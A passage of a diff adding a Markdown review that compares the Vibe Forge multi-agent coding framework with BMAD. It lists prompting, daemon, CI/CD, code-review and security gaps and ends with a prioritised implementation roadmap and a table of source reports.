+ **Recommendation:**
238
+ 1. Add `## Dev Notes` section to task template (architecture guardrails, relevant paths, testing standards)
239
+ 2. Planning Hub should load `context/architecture.md` when creating tasks and inject relevant constraints
240
+ 3. This becomes the "context engine" that prevents agents from making divergent decisions
241
+
242
+ ---
243
+
244
+ ## Medium Priority Gaps
245
+
246
+ ### MED-1: Prompting Improvements from BMAD
247
+ **Source:** BMAD agent design analysis
248
+
249
+ BMAD has specific prompting techniques Vibe Forge should adopt:
250
+
251
+ **Anti-lying enforcement** (add to Furnace, Anvil, Crucible personalities):
252
+ ```
253
+ NEVER mark a task complete unless ALL acceptance criteria are verified.
254
+ NEVER report tests passing if you haven't run them.
255
+ NEVER mark a task complete with tests_added: 0 if the task touches business logic.
256
+ ```
257
+
258
+ **Anti-session-stopping** (add to all worker agents):
259
+ ```
260
+ DO NOT stop mid-task because of "significant progress" or "session boundaries."
261
+ Continue until the story is complete or a HALT condition applies.
262
+ Never schedule a "next session" unless explicitly blocked.
263
+ ```
264
+
265
+ **In-session menus:** When a Planning Hub session starts, present a menu of available actions. BMAD's agents always open with a capabilities table and wait for input. This makes the framework more discoverable.
266
+
267
+ ---
268
+
269
+ ### MED-2: Daemon Improvements
270
+ **Source:** Ember, Furnace
271
+
272
+ | Issue | Impact | Fix |
273
+ |---|---|---|
274
+ | `date -d` is Linux-only | Staleness detection dead on macOS | Use `date -j -f` fallback for BSD date |
275
+ | `stat` mtime broken on Git Bash | Status sync re-reads all files every iteration | Use Node.js stat via subprocess |
276
+ | Maintenance interval is iteration-count based | Inconsistent timing with adaptive polling | Use elapsed-time check |
277
+ | `status_history` never called | Metrics infrastructure built but empty | Call `db_record_status_history()` in `db_upsert_agent_status()` |
278
+ | No daemon watchdog | Silent failures when daemon crashes | Add cron/PID check to forge start |
279
+ | `depends_on` field not enforced | Tasks with unresolved dependencies routed to review | Daemon should hold tasks in pending if deps unresolved |
280
+ | No time-based escalation | Tasks stall in-progress indefinitely | Auto-escalate to attention/ after `estimated_minutes * 3` |
281
+ | No `tasks/failed/` dead-letter | Corrupted tasks silently skipped | Add dead-letter queue directory |
282
+ | Graceful stop is fire-and-forget | Orphaned temp files on daemon crash | Wait for PID to exit before removing lock files |
283
+
284
+ ---
285
+
286
+ ### MED-3: CI/CD Improvements
287
+ **Source:** Ember, Aegis
288
+
289
+ | Gap | BMAD Has | Recommendation |
290
+ |---|---|---|
291
+ | Markdown linting | `markdownlint-cli2` on every PR | Add as parallel CI job - agent personalities are Markdown |
292
+ | Pre-commit hooks | Husky: lint-staged + tests | Add Husky with shellcheck + jest + markdownlint |
293
+ | `@next` prerelease channel | Auto-published on main push | Add auto-prerelease job to publish.yml |
294
+ | Formatting enforcement | Prettier check blocks PRs | Add prettier to CI |
295
+ | Node version pinning | `.nvmrc` + `engines` field | Add `.nvmrc` (Node 20), add `engines` to package.json |
296
+ | CHANGELOG to release notes | Auto-extracted in CI | Generate GitHub Release body from CHANGELOG section |
297
+ | Action SHA pinning | Recommended, partially done | Pin all actions to SHA digests |
298
+ | constants.sh / agents.json sync | N/A | Add CI check validating fallback arrays match agents.json |
299
+
300
+ ---
301
+
302
+ ### MED-4: Code Review Enhancement
303
+ **Source:** Crucible
304
+
305
+ BMAD's code review runs three parallel specialist subagents:
306
+ - **Blind Hunter** (diff only, adversarial, must find 10+ issues)
307
+ - **Edge Case Hunter** (diff + project access, JSON output of unhandled paths)
308
+ - **Acceptance Auditor** (diff + spec, verifies each AC individually)
309
+
310
+ **Recommendation:**
311
+ 1. Add an adversarial review skill that Sentinel can invoke: "find at least 5 issues; zero findings requires re-analysis"
312
+ 2. Add AC numbering to task template so each criterion can be audited individually during review
313
+ 3. For now, improve Sentinel's personality with the HALT-on-zero-findings rule: if a PR is reviewed and nothing is flagged, Sentinel must re-examine before approving
314
+
315
+ ---
316
+
317
+ ### MED-5: sprint-state.yaml (Cross-Task Status View)
318
+ **Source:** Furnace
319
+
320
+ `forge-state.yaml` has task counts but not per-task status. Agents cannot query "what tasks are in-progress for this epic?" BMAD's `sprint-status.yaml` gives a flat, queryable inventory of all stories across all epics.
321
+
322
+ **Recommendation:** Daemon should maintain `context/sprint-state.yaml` with per-task entries:
323
+ ```yaml
324
+ tasks:
325
+ - id: TASK-042
326
+ title: "Implement login endpoint"
327
+ assigned_to: furnace
328
+ status: in-progress
329
+ epic: AUTH
330
+ updated: 2026-03-31T14:23:00Z
331
+ - id: TASK-043
332
+ ...
333
+ ```
334
+
335
+ ---
336
+
337
+ ### MED-6: Forge-Help Command
338
+ **Source:** Pixel (P1), BMAD analysis
339
+
340
+ BMAD's `bmad-help` is a context-aware "what do I do next?" guide. It reads project state and recommends the next action. This single feature dramatically improves onboarding DX.
341
+
342
+ **Recommendation:** Add `/forge help` (or `forge-help` skill) that reads `forge-state.yaml` and advises:
343
+ - "No tasks in pending and no agents active → start by creating tasks in the Planning Hub"
344
+ - "3 tasks pending, Furnace idle → spawn Furnace and assign backend tasks"
345
+ - "2 tasks in review → ask Sentinel to review them"
346
+
347
+ ---
348
+
349
+ ### MED-7: Security Improvements
350
+ **Source:** Aegis
351
+
352
+ | Finding | Severity | Fix |
353
+ |---|---|---|
354
+ | GitHub Actions script injection | HIGH | Move `head_ref` to `env:` block |
355
+ | `eval` in config.sh | MEDIUM | Document risk; long-term: replace with static .sh generation |
356
+ | Dangerous eval comment in json.sh | MEDIUM | Add security warning or remove |
357
+ | Task file prompt injection | MEDIUM | Add frontmatter validation before daemon routing |
358
+ | Unsanitized log writes in notify() | LOW | Call `sanitize_notification_message()` inside `notify()` |
359
+ | Actions not SHA-pinned | LOW | Pin to SHA digests; use Dependabot |
360
+
361
+ ---
362
+
363
+ ## What to NOT Copy from BMAD
364
+
365
+ | BMAD Pattern | Reason to Skip |
366
+ |---|---|
367
+ | Fresh chat per workflow | Destroys Vibe Forge's persistent worker advantage |
368
+ | Manual task routing (no daemon) | Vibe Forge's automation is a clear win |
369
+ | No dashboard | Vibe Forge's real-time visibility is a differentiator |
370
+ | Single generalist dev agent | Specialization enables true parallelism |
371
+ | No Windows support | Vibe Forge has first-class Windows support |
372
+ | Trigger code menus | Vibe Forge's natural language CLI is more accessible |
373
+ | `bmad-` prefix verbosity | Less ergonomic than Vibe Forge's naming |
374
+
375
+ ---
376
+
377
+ ## What Vibe Forge Does Better (Double Down)
378
+
379
+ 1. **Worker loop / persistent sessions** - The Ralph Loop pattern keeps agents alive and self-directing. BMAD requires a human to trigger every new workflow session. This is a fundamental architectural advantage for longer work sessions.
380
+
381
+ 2. **Real-time WebSocket dashboard** - BMAD has no equivalent. This should be featured as the hero of the README, not buried.
382
+
383
+ 3. **Automated task routing via daemon** - Completed → review → approved → merged without human intervention. BMAD is 100% human-mediated between phases.
384
+
385
+ 4. **Agent personality richness** - Vibe Forge's personalities are significantly more developed than BMAD's. The Output Format templates (exact schema for agents to fill in) are the standout feature. Keep investing here.
386
+
387
+ 5. **Security posture** - Symlink protection, path traversal prevention, notification sanitization, SQL injection protection. BMAD has minimal shell scripting security. This is not an accident -- keep the discipline.
388
+
389
+ 6. **Dedicated security agent (Aegis)** - BMAD has no security role. Aegis with veto power over releases is a genuine differentiator.
390
+
391
+ 7. **VCS agnosticism** - The 0.4.0 multi-platform VCS support (GitHub, GitLab, Gitea, Azure DevOps, Bitbucket) is forward-thinking. BMAD assumes GitHub.
392
+
393
+ 8. **Multi-voice Planning Hub** - The "party mode" with Architect, Aegis, Ember, Pixel, Oracle, and Crucible speaking in one session models real team dynamics. BMAD's party mode requires spawning separate subagents. Vibe Forge's implementation is more accessible.
394
+
395
+ ---
396
+
397
+ ## Prioritized Implementation Roadmap
398
+
399
+ ### Tier 1 - Fix Before Next Release
400
+ 1. Fix GitHub Actions script injection (CRIT-1)
401
+ 2. Fix `design` alias collision (CRIT-3)
402
+ 3. Fix README agent names - remove Sage, Oracle, Quartermaster (HIGH-9)
403
+ 4. Fix BUG-dash-001 and BUG-dash-002 (HIGH-7)
404
+
405
+ ### Tier 2 - Next Major Milestone
406
+ 5. Add formal Definition of Done to task template (HIGH-2, CRIT-4)
407
+ 6. Add HALT conditions to all implementation agent personalities (HIGH-8)
408
+ 7. Add anti-lying and anti-session-stopping to agent personalities (MED-1)
409
+ 8. Add `## Dev Notes` section to task template with architecture guardrails (HIGH-10)
410
+ 9. Add AC numbering to task template (MED-4)
411
+ 10. Add in-session menus to Planning Hub and agents (MED-1)
412
+ 11. Add constants.sh / agents.json sync check to CI (MED-3)
413
+ 12. Fix daemon cross-platform issues (`date -d`, `stat`) (MED-2)
414
+ 13. Wire up `db_record_status_history()` (MED-2)
415
+
416
+ ### Tier 3 - Framework Maturity
417
+ 14. Per-project agent customization via `context/agent-overrides/` (HIGH-4)
418
+ 15. Epic/story hierarchy with sprint-state.yaml (HIGH-3)
419
+ 16. Architecture workflow (Winston skill with ADRs) (HIGH-1)
420
+ 17. Forge-help command (MED-6)
421
+ 18. Add `@next` prerelease channel + Husky pre-commit hooks (MED-3)
422
+ 19. Replace eval with static .sh generation (CRIT-2 long-term)
423
+ 20. Adversarial review skill for Sentinel (MED-4)
424
+ 21. Daemon: dependency resolution + time-based escalation (MED-2)
425
+ 22. Context-summary skill for token management (HIGH-5)
426
+ 23. Project-context.md generation workflow at init (Pixel recommendation)
427
+ 24. Consolidate forge-master/planning-hub (HIGH-6)
428
+ 25. Markdown linting in CI (MED-3)
429
+
430
+ ---
431
+
432
+ ## Appendix: Source Reports
433
+
434
+ | Agent | Report | Focus |
435
+ |---|---|---|
436
+ | Sentinel | `tasks/review/bmad-review-sentinel.md` | Architecture, code quality, critical issues |
437
+ | Crucible | `tasks/review/bmad-review-crucible.md` | Quality gates, testing, DoD |
438
+ | Aegis | `tasks/review/bmad-review-aegis.md` | Security findings, CI vulnerabilities |
439
+ | Furnace | `tasks/review/bmad-review-furnace.md` | Task data model, daemon gaps, backend |
440
+ | Ember | `tasks/review/bmad-review-ember.md` | CI/CD, daemon ops, cross-platform |
441
+ | Pixel | `tasks/review/bmad-review-pixel.md` | DX, onboarding, UX gaps |
442
+ | Research Agent 1 | BMAD architecture & process deep-dive | Framework structure, workflow, phases |
443
+ | Research Agent 2 | BMAD agent design & prompting deep-dive | Prompting patterns, personas, anti-patterns |
444
+ | Research Agent 3 | Vibe Forge baseline audit | Comprehensive self-assessment |